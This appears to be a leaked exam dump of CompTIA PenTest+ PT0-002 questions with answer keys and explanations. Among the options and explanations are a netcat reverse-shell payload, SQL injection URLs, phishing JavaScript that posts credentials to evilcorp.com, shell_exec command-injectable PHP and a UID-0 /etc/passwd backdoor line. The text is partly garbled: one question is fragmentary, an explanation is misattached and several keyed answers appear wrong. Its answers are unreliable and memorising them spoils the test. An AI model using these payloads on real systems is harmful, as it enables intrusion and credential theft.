



# CompTIA

## Exam Questions PT0-002

CompTIA PenTest+ Certification Exam

#### NEW QUESTION 1

Which of the following BEST describe the OWASP Top 10? (Choose two.)

- A. The most critical risks of web applications
- B. A list of all the risks of web applications
- C. The risks defined in order of importance
- D. A web-application security standard
- E. A risk-governance and compliance framework
- F. A checklist of Apache vulnerabilities

**Answer:** AC

#### NEW QUESTION 2

Which of the following types of assessments MOST likely focuses on vulnerabilities with the objective to access specific data?

- A. An unknown-environment assessment
- B. A known-environment assessment
- C. A red-team assessment
- D. A compliance-based assessment

**Answer:** B

#### Explanation:

A known environment test is often more complete, because testers can get to every system, service, or other target that is in scope and will have credentials and other materials that will allow them to be tested.

#### NEW QUESTION 3

Which of the following situations would require a penetration tester to notify the emergency contact for the engagement?

- A. The team exploits a critical server within the organization.
- B. The team exfiltrates PII or credit card data from the organization.
- C. The team loses access to the network remotely.
- D. The team discovers another actor on a system on the network.

**Answer:** D

#### NEW QUESTION 4

The delivery of a penetration test within an organization requires defining specific parameters regarding the nature and types of exercises that can be conducted and when they can be conducted. Which of the following BEST identifies this concept?

- A. Statement of work
- B. Program scope
- C. Non-disclosure agreement
- D. Rules of engagement

**Answer:** D

#### Explanation:

Rules of engagement (ROE) is a document that outlines the specific guidelines and limitations of a penetration test engagement. The document is agreed upon by both the penetration testing team and the client and sets expectations for how the test will be conducted, what systems are in scope, what types of attacks are allowed, and any other parameters that need to be defined. ROE helps to ensure that the engagement is conducted safely, ethically, and with minimal disruption to the client's operations.

#### NEW QUESTION 5

An assessor wants to run an Nmap scan as quietly as possible. Which of the following commands will give the LEAST chance of detection?

- A. `nmap -T3 192.168.0.1`
- B. `nmap -P0 192.168.0.1`
- C. `nmap -T0 192.168.0.1`
- D. `nmap -A 192.168.0.1`

**Answer:** C

#### NEW QUESTION 6

Which of the following tools would be MOST useful in collecting vendor and other security-relevant information for IoT devices to support passive reconnaissance?

- A. Shodan
- B. Nmap
- C. WebScarab-NG
- D. Nessus

**Answer:** B

#### NEW QUESTION 7

A penetration tester was brute forcing an internal web server and ran a command that produced the following output:

```
$ dirb http://172.16.100.10:3000
-----
DURB v2.22
By The Dark Raver
-----
START_TIME: Wed Feb 3 13:06:18 2021
URL_BASE: http://172.16.100.10:3000
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----
GENERATED WORDS: 4612
---- Scanning URL: http://172.16.100.10:3000 ----
+ http://172.16.100.10:3000/ftp (CODE:200|SIZE:11071)
+ http://172.16.100.10:3000/profile (CODE:500|SIZE:1151)
+ http://172.16.100.10:3000/promotion (CODE:200|SIZE:6586)
+ http://172.16.100.10:3000/robots.txt (CODE:200|SIZE:28)
+ http://172.16.100.10:3000 /Video (CODE:200|SIZE:10075518)
-----
END_TIME: Wed Feb 3 13:07:53 2021
DOWNLOADED: 4612 - FOUND: 5
```

However, when the penetration tester tried to browse the URL <http://172.16.100.10:3000/profile>, a blank page was displayed. Which of the following is the MOST likely reason for the lack of output?

- A. The HTTP port is not open on the firewall.
- B. The tester did not run sudo before the command.
- C. The web server is using HTTPS instead of HTTP.
- D. This URI returned a server error.

**Answer:** A

#### NEW QUESTION 8

A penetration tester gives the following command to a systems administrator to execute on one of the target servers:

```
rm -f /var/www/html/G679h32gYu.php
```

Which of the following BEST explains why the penetration tester wants this command executed?

- A. To trick the systems administrator into installing a rootkit
- B. To close down a reverse shell
- C. To remove a web shell after the penetration test
- D. To delete credentials the tester created

**Answer:** C

#### NEW QUESTION 9

A penetration tester is attempting to discover live hosts on a subnet quickly. Which of the following commands will perform a ping scan?

- A. `nmap -sn 10.12.1.0/24`
- B. `nmap -sV -A 10.12.1.0/24`
- C. `nmap -Pn 10.12.1.0/24`
- D. `nmap -sT -p- 10.12.1.0/24`

**Answer:** A

#### NEW QUESTION 10

A penetration tester examines a web-based shopping catalog and discovers the following URL when viewing a product in the catalog:

```
http://company.com/catalog.asp?productid=22
```

The penetration tester alters the URL in the browser to the following and notices a delay when the page refreshes:

```
http://company.com/catalog.asp?productid=22;WAITFOR
```

```
DELAY '00:00:05'
```

Which of the following should the penetration tester attempt NEXT?

- A. `http://company.com/catalog.asp?productid=22:EXEC xp_cmdshell 'whoami'`
- B. `http://company.com/catalog.asp?productid=22' OR 1=1 -`
- C. `http://company.com/catalog.asp?productid=22' UNION SELECT 1,2,3 -`
- D. `http://company.com/catalog.asp?productid=22;nc 192.168.1.22 4444 -e /bin/bash`

**Answer:** C

#### Explanation:

This URL will attempt a SQL injection attack using a UNION operator to combine the results of two queries into one table. The attacker can use this technique to retrieve data from other tables in the database that are not normally accessible through the web application.

#### NEW QUESTION 10

For a penetration test engagement, a security engineer decides to impersonate the IT help desk. The security engineer sends a phishing email containing an urgent request for users to change their passwords and a link to <https://example.com/index.html>. The engineer has designed the attack so that once the users enter the credentials, the index.html page takes the credentials and then forwards them to another server that the security engineer is controlling. Given the following information:

```
$.ajax({ url: 'https://evilcorp.com/email-list/finish.php',
  type: 'POST', dataType: 'html',
  data: {Email: emv, password: psv},
  success: function(msg) {}});
```

Which of the following lines of code should the security engineer add to make the attack successful?

- A. window.location.= 'https://evilcorp.com'
- B. crossDomain: true
- C. getUrlparameter ('username')
- D. redirectUrl = 'https://example.com'

**Answer: B**

#### NEW QUESTION 11

Performing a penetration test against an environment with SCADA devices brings additional safety risk because the:

- A. devices produce more heat and consume more power.
- B. devices are obsolete and are no longer available for replacement.
- C. protocols are more difficult to understand.
- D. devices may cause physical world effects.

**Answer: D**

#### Explanation:

"A significant issue identified by Wiberg is that using active network scanners, such as Nmap, presents a weakness when attempting port recognition or service detection on SCADA devices. Wiberg states that active tools such as Nmap can use unusual TCP segment data to try and find available ports. Furthermore, they can open a massive amount of connections with a specific SCADA device but then fail to close them gracefully." And since SCADA and ICS devices are designed and implemented with little attention having been paid to the operational security of these devices and their ability to handle errors or unexpected events, the presence idle open connections may result into errors that cannot be handled by the devices.

#### NEW QUESTION 13

Which of the following tools should a penetration tester use to crawl a website and build a wordlist using the data recovered to crack the password on the website?

- A. DirBuster
- B. CeWL
- C. w3af
- D. Patator

**Answer: B**

#### Explanation:

CeWL, the Custom Word List Generator, is a Ruby application that allows you to spider a website based on a URL and depth setting and then generate a wordlist from the files and web pages it finds. Running CeWL against a target organization's sites can help generate a custom word list, but you will typically want to add words manually based on your own OSINT gathering efforts.

<https://esgeeks.com/como-utilizar-cewl/>

#### NEW QUESTION 16

During a penetration-testing engagement, a consultant performs reconnaissance of a client to identify potential targets for a phishing campaign. Which of the following would allow the consultant to retrieve email addresses for technical and billing contacts quickly, without triggering any of the client's cybersecurity tools? (Choose two.)

- A. Scraping social media sites
- B. Using the WHOIS lookup tool
- C. Crawling the client's website
- D. Phishing company employees
- E. Utilizing DNS lookup tools
- F. Conducting wardriving near the client facility

**Answer: AC**

#### Explanation:

Technical and billing addresses are usually posted on company websites and company social media sites for the their clients to access. The WHOIS lookup will only avail info for the company registrant, an abuse email contact, etc but it may not contain details for billing addresses.

#### NEW QUESTION 21

Which of the following protocols or technologies would provide in-transit confidentiality protection for emailing the final security assessment report?

- A. S/MIME
- B. FTPS
- C. DNSSEC
- D. AS2

Answer: A

#### NEW QUESTION 22

An assessor wants to use Nmap to help map out a stateful firewall rule set. Which of the following scans will the assessor MOST likely run?

- A. nmap 192.168.0.1/24
- B. nmap 192.168.0.1/24
- C. nmap oG 192.168.0.1/24
- D. nmap 192.168.0.1/24

Answer: A

#### NEW QUESTION 23

During an assessment, a penetration tester manages to exploit an LFI vulnerability and browse the web log for a target Apache server. Which of the following steps would the penetration tester most likely try NEXT to further exploit the web server? (Choose two.)

- A. Cross-site scripting
- B. Server-side request forgery
- C. SQL injection
- D. Log poisoning
- E. Cross-site request forgery
- F. Command injection

Answer: DF

#### Explanation:

Local File Inclusion (LFI) is a web vulnerability that allows an attacker to include files on a server through the web browser. This can expose sensitive information or lead to remote code execution.

Some possible next steps that a penetration tester can try after exploiting an LFI vulnerability are:

- Log poisoning: This involves injecting malicious code into the web server's log files and then including them via LFI to execute the code<sup>34</sup>.
- PHP wrappers: These are special streams that can be used to manipulate files or data via LFI. For example, `php://input` can be used to pass arbitrary data to an LFI script, or `php://filter` can be used to encode or decode files<sup>5</sup>.

#### NEW QUESTION 28

The following PowerShell snippet was extracted from a log of an attacker machine:

```

1. $net="192.168.1."
2. $setipaddress ="192.168.2."
3. function Test-Password {
4. if (args[0] -eq 'Dummy12345') {
5. return 1
6. }
7. else {
8. $cat = 22, 25, 80, 443
9. return 0
10. }
11. }
12. $cracked = 0
13. crackedpd = [ 192, 168, 1, 2]
14. $i =0
15. Do {
16. $test = 'Dummy' + $i
17. $cracked = Test - Password Test
18. $i++
19. $crackedp = ( 192, 168, 1, 1) + $cat
20. }
21. While($cracked -eq 0)
22. Write-Host " Password found : " $test
23. $setipaddress = [ 192, 168, 1, 4]

```

A penetration tester would like to identify the presence of an array. Which of the following line numbers would define the array?

- A. Line 8
- B. Line 13
- C. Line 19
- D. Line 20

**Answer:** A

**Explanation:**

[https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about\\_arrays?view=powe](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_arrays?view=powe)

**NEW QUESTION 30**

A penetration tester wants to perform reconnaissance without being detected. Which of the following activities have a MINIMAL chance of detection? (Choose two.)

- A. Open-source research
- B. A ping sweep
- C. Traffic sniffing
- D. Port knocking
- E. A vulnerability scan
- F. An Nmap scan

**Answer:** AC

**NEW QUESTION 31**

A company uses a cloud provider with shared network bandwidth to host a web application on dedicated servers. The company's contact with the cloud provider prevents any activities that would interfere with the cloud provider's other customers. When engaging with a penetration-testing company to test the application, which of the following should the company avoid?

- A. Crawling the web application's URLs looking for vulnerabilities
- B. Fingerprinting all the IP addresses of the application's servers
- C. Brute forcing the application's passwords
- D. Sending many web requests per second to test DDoS protection

**Answer:** D

**NEW QUESTION 34**

A company's Chief Executive Officer has created a secondary home office and is concerned that the WiFi service being used is vulnerable to an attack. A penetration tester is hired to test the security of the WiFi's router. Which of the following is MOST vulnerable to a brute-force attack?

- A. WPS
- B. WPA2-EAP
- C. WPA-TKIP
- D. WPA2-PSK

**Answer:** A

**NEW QUESTION 38**

A security company has been contracted to perform a scoped insider-threat assessment to try to gain access to the human resources server that houses PII and salary data. The penetration testers have been given an internal network starting position. Which of the following actions, if performed, would be ethical within the scope of the assessment?

- A. Exploiting a configuration weakness in the SQL database
- B. Intercepting outbound TLS traffic
- C. Gaining access to hosts by injecting malware into the enterprise-wide update server
- D. Leveraging a vulnerability on the internal CA to issue fraudulent client certificates
- E. Establishing and maintaining persistence on the domain controller

**Answer:** B

**NEW QUESTION 41**

After running the enum4linux.pl command, a penetration tester received the following output:

```

=====
| Enumerating Workgroup/Domain on 192.168.100.56 |
=====
[+] Got domain/workgroup name: WORKGROUP
=====
| Session Check on 192.168.100.56 |
=====
[+] Server 192.168.100.56 allows sessions using username '', password ''
=====
| Getting domain SID for 192.168.100.56 |
=====
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
=====
| Share Enumeration on 192.168.100.56 |
=====
Sharename Type Comment
-----
print$ Disk Printer Drivers
web Disk File Server
IPC$ IPC IPC Service (Samba 4.5.12-Debian)
SMB1 disabled -- no workgroup available
[+] Attempting to map shares on 192.168.100.56
//192.168.100.56/print$ Mapping: DENIED, Listing: N/A
//192.168.100.56/web Mapping: OK, Listing: OK
//192.168.100.56/IPC$ [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
enum4linux complete on Mon Jul 20 10:14:37 2020

```

Which of the following commands should the penetration tester run NEXT?

- A. smbpool //192.160.100.56/print\$
- B. net rpc share -S 192.168.100.56 -U "
- C. smbget //192.168.100.56/web -U "
- D. smbclient //192.168.100.56/web -U " -N

**Answer: D**

**Explanation:**

A vulnerability scan is a type of assessment that helps to identify vulnerabilities in a network or system. It scans systems for potential vulnerabilities, misconfigurations, and outdated software. Based on the output from a vulnerability scan, a penetration tester can identify vulnerabilities that may be exploited to gain access to a system. In this scenario, the output from the penetration testing tool shows that 100 hosts contained findings due to improper patch management. This indicates that the vulnerability scan detected vulnerabilities that could have been prevented through proper patch management. Therefore, the most likely test performed by the penetration tester is a vulnerability scan.

**NEW QUESTION 45**

A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:

```

if(isset ($_POST ['item'])) {
    echo shell_exec ("/http/www/cgi-bin/queryitem ".$_POST ['item']);
}

```

Which of the following combinations of tools would the penetration tester use to exploit this script?

- A. Hydra and crunch
- B. Netcat and cURL
- C. Burp Suite and DIRB
- D. Nmap and OWASP ZAP

**Answer: B**

**NEW QUESTION 49**

A customer adds a requirement to the scope of a penetration test that states activities can only occur during normal business hours. Which of the following BEST describes why this would be necessary?

- A. To meet PCI DSS testing requirements
- B. For testing of the customer's SLA with the ISP
- C. Because of concerns regarding bandwidth limitations
- D. To ensure someone is available if something goes wrong

**Answer: D**

**NEW QUESTION 53**

PCI DSS requires which of the following as part of the penetration-testing process?

- A. The penetration tester must have cybersecurity certifications.
- B. The network must be segmented.
- C. Only externally facing systems should be tested.

D. The assessment must be performed during non-working hours.

**Answer: B**

#### NEW QUESTION 54

A penetration tester recently performed a social-engineering attack in which the tester found an employee of the target company at a local coffee shop and over time built a relationship with the employee. On the employee's birthday, the tester gave the employee an external hard drive as a gift. Which of the following social-engineering attacks was the tester utilizing?

- A. Phishing
- B. Tailgating
- C. Baiting
- D. Shoulder surfing

**Answer: C**

#### NEW QUESTION 59

A penetration tester has been given an assignment to attack a series of targets in the 192.168.1.0/24 range, triggering as few alarms and countermeasures as possible.

Which of the following Nmap scan syntaxes would BEST accomplish this objective?

- A. nmap -sT -vvv -O 192.168.1.2/24 -PO
- B. nmap -sV 192.168.1.2/24 -PO
- C. nmap -sA -v -O 192.168.1.2/24
- D. nmap -sS -O 192.168.1.2/24 -T1

**Answer: D**

#### NEW QUESTION 61

A penetration tester is examining a Class C network to identify active systems quickly. Which of the following commands should the penetration tester use?

- A. nmap sn 192.168.0.1/16
- B. nmap sn 192.168.0.1-254
- C. nmap sn 192.168.0.1 192.168.0.1.254
- D. nmap sN 192.168.0.0/24

**Answer: B**

#### NEW QUESTION 62

Appending string values onto another string is called:

- A. compilation
- B. connection
- C. concatenation
- D. conjunction

**Answer: C**

#### NEW QUESTION 63

A penetration tester was conducting a penetration test and discovered the network traffic was no longer reaching the client's IP address. The tester later discovered the SOC had used sinkholing on the penetration tester's IP address. Which of the following BEST describes what happened?

- A. The penetration tester was testing the wrong assets
- B. The planning process failed to ensure all teams were notified
- C. The client was not ready for the assessment to start
- D. The penetration tester had incorrect contact information

**Answer: B**

#### NEW QUESTION 66

A penetration tester is working on a scoping document with a new client. The methodology the client uses includes the following:

- Pre-engagement interaction (scoping and ROE)
- Intelligence gathering (reconnaissance)
- Threat modeling
- Vulnerability analysis
- Exploitation and post exploitation
- Reporting

Which of the following methodologies does the client use?

- A. OWASP Web Security Testing Guide
- B. PTES technical guidelines
- C. NIST SP 800-115
- D. OSSTMM

**Answer: B**

#### NEW QUESTION 71

A penetration tester wants to identify CVEs that can be leveraged to gain execution on a Linux server that has an SSHD running. Which of the following would BEST support this task?

- A. Run nmap with the `-o`, `-p22`, and `-sC` options set against the target
- B. Run nmap with the `-sV` and `-p22` options set against the target
- C. Run nmap with the `--script vulners` option set against the target
- D. Run nmap with the `-sA` option set against the target

**Answer:** A

#### NEW QUESTION 74

168.2.2

3: #!/usr/bin/python export \$PORTS = 21,22 for \$PORT in \$PORTS: try:

- A. Mastered
- B. Not Mastered

**Answer:** A

#### NEW QUESTION 78

Which of the following are the MOST important items to include in the final report for a penetration test? (Choose two.)

- A. The CVSS score of the finding
- B. The network location of the vulnerable device
- C. The vulnerability identifier
- D. The client acceptance form
- E. The name of the person who found the flaw
- F. The tool used to find the issue

**Answer:** CF

#### NEW QUESTION 83

A penetration tester found the following valid URL while doing a manual assessment of a web application: `http://www.example.com/product.php?id=123987`. Which of the following automated tools would be best to use NEXT to try to identify a vulnerability in this URL?

- A. SQLmap
- B. Nessus
- C. Nikto
- D. DirBuster

**Answer:** B

#### NEW QUESTION 88

A penetration tester obtained the following results after scanning a web server using the dirb utility:

```
...
GENERATED WORDS: 4612
---
Scanning URL: http://10.2.10.13/ ---
+
http://10.2.10.13/about (CODE:200|SIZE:1520)
+
http://10.2.10.13/home.html (CODE:200|SIZE:214)
+
http://10.2.10.13/index.html (CODE:200|SIZE:214)
+
http://10.2.10.13/info (CODE:200|SIZE:214)
...
```

DOWNLOADED: 4612 – FOUND: 4

Which of the following elements is MOST likely to contain useful information for the penetration tester?

- A. index.html
- B. about
- C. info
- D. home.html

**Answer:** B

#### NEW QUESTION 90

A penetration tester is reviewing the following SOW prior to engaging with a client:

“Network diagrams, logical and physical asset inventory, and employees’ names are to be treated as client confidential. Upon completion of the engagement, the penetration tester will submit findings to the client’s Chief Information Security Officer (CISO) via encrypted protocols and subsequently dispose of all findings by erasing them in a secure manner.”

Based on the information in the SOW, which of the following behaviors would be considered unethical? (Choose two.)

- A. Utilizing proprietary penetration-testing tools that are not available to the public or to the client for auditing and inspection
- B. Utilizing public-key cryptography to ensure findings are delivered to the CISO upon completion of the engagement

- C. Failing to share with the client critical vulnerabilities that exist within the client architecture to appease the client's senior leadership team
- D. Seeking help with the engagement in underground hacker forums by sharing the client's public IP address
- E. Using a software-based erase tool to wipe the client's findings from the penetration tester's laptop
- F. Retaining the SOW within the penetration tester's company for future use so the sales team can plan future engagements

**Answer:** CD

#### NEW QUESTION 91

A penetration tester downloaded a Java application file from a compromised web server and identifies how to invoke it by looking at the following log:

```
17:34:23 - F - Info: New connection established :8443
17:34:23 - F - User: bmarney
17:34:23 - F - PW length 15
17:34:23 - F - login exec (/www/app/jre/bin/java -cp ./commapp.jar approval 192.168.0.1 bmarney
17:34:23 - F - login rc:0
```

Which of the following is the order of steps the penetration tester needs to follow to validate whether the Java application uses encryption over sockets?

- A. Run an application vulnerability scan and then identify the TCP ports used by the application.
- B. Run the application attached to a debugger and then review the application's log.
- C. Disassemble the binary code and then identify the break points.
- D. Start a packet capture with Wireshark and then run the application.

**Answer:** D

#### NEW QUESTION 93

The results of an Nmap scan are as follows:

Starting Nmap 7.80 ( <https://nmap.org> ) at 2021-01-24 01:10 EST

Nmap scan report for ( 10.2.1.22 ) Host is up (0.0102s latency).

Not shown: 998 filtered ports Port State Service

80/tcp open http

|\_http-title: 80F 22% RH 1009.1MB (text/html)

|\_http-slowloris-check:

| VULNERABLE:

| Slowloris DoS Attack

| <..>

Device type: bridge|general purpose

Running (JUST GUESSING) : QEMU (95%)

OS CPE: cpe:/a:qemu:qemu

No exact OS matches found for host (test conditions non-ideal).

OS detection performed. Please report any incorrect results at <https://nmap.org/submit/>. Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds

Which of the following device types will MOST likely have a similar response? (Choose two.)

- A. Network device
- B. Public-facing web server
- C. Active Directory domain controller
- D. IoT/embedded device
- E. Exposed RDP
- F. Print queue

**Answer:** BD

#### Explanation:

<https://www.netsecscout.com/what-is-ddos/slowloris-attacks>

From the http-title in the output, this looks like an IoT device with RH implying Relative Humidity, that offers a web-based interface for visualizing the results.

#### NEW QUESTION 95

A software development team is concerned that a new product's 64-bit Windows binaries can be deconstructed to the underlying code. Which of the following tools can a penetration tester utilize to help the team gauge what an attacker might see in the binaries?

- A. Immunity Debugger
- B. OllyDbg
- C. GDB
- D. Drozer

**Answer:** B

#### NEW QUESTION 96

A penetration tester needs to perform a test on a finance system that is PCI DSS v3.2.1 compliant. Which of the following is the MINIMUM frequency to complete the scan of the system?

- A. Weekly
- B. Monthly
- C. Quarterly
- D. Annually

**Answer:** C

#### Explanation:

<https://www.pcicomplianceguide.org/faq/#25>

PCI DSS requires quarterly vulnerability/penetration tests, not weekly.

#### NEW QUESTION 99

A penetration tester needs to access a building that is guarded by locked gates, a security team, and cameras. Which of the following is a technique the tester can use to gain access to the IT framework without being detected?

- A. Pick a lock.
- B. Disable the cameras remotely.
- C. Impersonate a package delivery worker.
- D. Send a phishing email.

**Answer: C**

#### NEW QUESTION 100

A tester who is performing a penetration test discovers an older firewall that is known to have serious vulnerabilities to remote attacks but is not part of the original list of IP addresses for the engagement. Which of the following is the BEST option for the tester to take?

- A. Segment the firewall from the cloud.
- B. Scan the firewall for vulnerabilities.
- C. Notify the client about the firewall.
- D. Apply patches to the firewall.

**Answer: C**

#### NEW QUESTION 101

An exploit developer is coding a script that submits a very large number of small requests to a web server until the server is compromised. The script must examine each response received and compare the data to a large number of strings to determine which data to submit next. Which of the following data structures should the exploit developer use to make the string comparison and determination as efficient as possible?

- A. A list
- B. A tree
- C. A dictionary
- D. An array

**Answer: C**

#### Explanation:

data structures are used to store data in an organized form, and some data structures are more efficient and suitable for certain operations than others. For example, hash tables, skip lists and jump lists are some dictionary data structures that can insert and access elements efficiently<sup>3</sup>.

For string comparison, there are different algorithms that can measure how similar two strings are, such as Levenshtein distance, Hamming distance or Jaccard similarity<sup>4</sup>. Some of these algorithms can be implemented using data structures such as arrays or hashtables<sup>5</sup>.

#### NEW QUESTION 105

A penetration tester is cleaning up and covering tracks at the conclusion of a penetration test. Which of the following should the tester be sure to remove from the system? (Choose two.)

- A. Spawned shells
- B. Created user accounts
- C. Server logs
- D. Administrator accounts
- E. Reboot system
- F. ARP cache

**Answer: AB**

#### Explanation:

Removing shells: Remove any shell programs installed when performing the pentest.

Removing tester-created credentials: Be sure to remove any user accounts created during the pentest. This includes backdoor accounts.

Removing tools: Remove any software tools that were installed on the customer's systems that were used to aid in the exploitation of systems.

#### NEW QUESTION 109

A company is concerned that its cloud VM is vulnerable to a cyberattack and proprietary data may be stolen. A penetration tester determines a vulnerability does exist and exploits the vulnerability by adding a fake VM instance to the IaaS component of the client's VM. Which of the following cloud attacks did the penetration tester MOST likely implement?

- A. Direct-to-origin
- B. Cross-site scripting
- C. Malware injection
- D. Credential harvesting

**Answer: D**

#### NEW QUESTION 114

A security engineer identified a new server on the network and wants to scan the host to determine if it is running an approved version of Linux and a patched version of Apache. Which of the following commands will accomplish this task?

- A. `nmap -f -sV -p80 192.168.1.20`

- B. nmap -sS -sL -p80 192.168.1.20
- C. nmap -A -T4 -p80 192.168.1.20
- D. nmap -O -v -p80 192.168.1.20

**Answer:** C

#### NEW QUESTION 118

The output from a penetration testing tool shows 100 hosts contained findings due to improper patch management. Which of the following did the penetration tester perform?

- A. A vulnerability scan
- B. A WHOIS lookup
- C. A packet capture
- D. An Nmap scan

**Answer:** A

#### Explanation:

A vulnerability scan is a type of penetration testing tool that is used to scan a network for vulnerabilities. A vulnerability scan can detect misconfigurations, missing patches, and other security issues that could be exploited by attackers. In this case, the output shows that 100 hosts had findings due to improper patch management, which means that the tester performed a vulnerability scan.

#### NEW QUESTION 123

A red-team tester has been contracted to emulate the threat posed by a malicious insider on a company's network, with the constrained objective of gaining access to sensitive personnel files. During the assessment, the red-team tester identifies an artifact indicating possible prior compromise within the target environment.

Which of the following actions should the tester take?

- A. Perform forensic analysis to isolate the means of compromise and determine attribution.
- B. Incorporate the newly identified method of compromise into the red team's approach.
- C. Create a detailed document of findings before continuing with the assessment.
- D. Halt the assessment and follow the reporting procedures as outlined in the contract.

**Answer:** D

#### NEW QUESTION 126

A penetration tester who is conducting a web-application test discovers a clickjacking vulnerability associated with a login page to financial data. Which of the following should the tester do with this information to make this a successful exploit?

- A. Perform XSS.
- B. Conduct a watering-hole attack.
- C. Use BeEF.
- D. Use browser autopwn.

**Answer:** A

#### NEW QUESTION 128

A client has requested that the penetration test scan include the following UDP services: SNMP, NetBIOS, and DNS. Which of the following Nmap commands will perform the scan?

- A. nmap -vv sUV -p 53, 123-159 10.10.1.20/24 -oA udpscan
- B. nmap -vv sUV -p 53,123,161-162 10.10.1.20/24 -oA udpscan
- C. nmap -vv sUV -p 53,137-139,161-162 10.10.1.20/24 -oA udpscan
- D. nmap -vv sUV -p 53, 122-123, 160-161 10.10.1.20/24 -oA udpscan

**Answer:** C

#### NEW QUESTION 133

Which of the following BEST explains why a penetration tester cannot scan a server that was previously scanned successfully?

- A. The IP address is wrong.
- B. The server is unreachable.
- C. The IP address is on the blocklist.
- D. The IP address is on the allow list.

**Answer:** C

#### Explanation:

The most likely explanation for why a penetration tester cannot scan a server that was previously scanned successfully is that the IP address is on the blocklist. Blocklists are used to prevent malicious actors from scanning servers, and if the IP address of the server is on the blocklist, the scanning process will be blocked.

#### NEW QUESTION 137

A penetration tester opened a reverse shell on a Linux web server and successfully escalated privileges to root. During the engagement, the tester noticed that another user logged in frequently as root to perform work tasks. To avoid disrupting this user's work, which of the following is the BEST option for the penetration tester to maintain root-level persistence on this server during the test?

- A. Add a web shell to the root of the website.
- B. Upgrade the reverse shell to a true TTY terminal.
- C. Add a new user with ID 0 to the /etc/passwd file.
- D. Change the password of the root user and revert after the test.

**Answer: C**

**Explanation:**

The best option for the penetration tester to maintain root-level persistence on this server during the test is to add a new user with ID 0 to the /etc/passwd file. This will allow the penetration tester to use the same user account as the other user, but with root privileges, meaning that it won't disrupt the other user's work. This can be done by adding a new line with the username and the numerical user ID 0 to the /etc/passwd file. For example, if the username for the other user is "johndoe", the line to add would be "johndoe:x:0:0:John Doe:/root:/bin/bash". After the user is added, the penetration tester can use the "su" command to switch to the new user and gain root privileges.

**NEW QUESTION 138**

During an assessment, a penetration tester obtains a list of 30 email addresses by crawling the target company's website and then creates a list of possible usernames based on the email address format. Which of the following types of attacks would MOST likely be used to avoid account lockout?

- A. Mask
- B. Rainbow
- C. Dictionary
- D. Password spraying

**Answer: D**

**NEW QUESTION 141**

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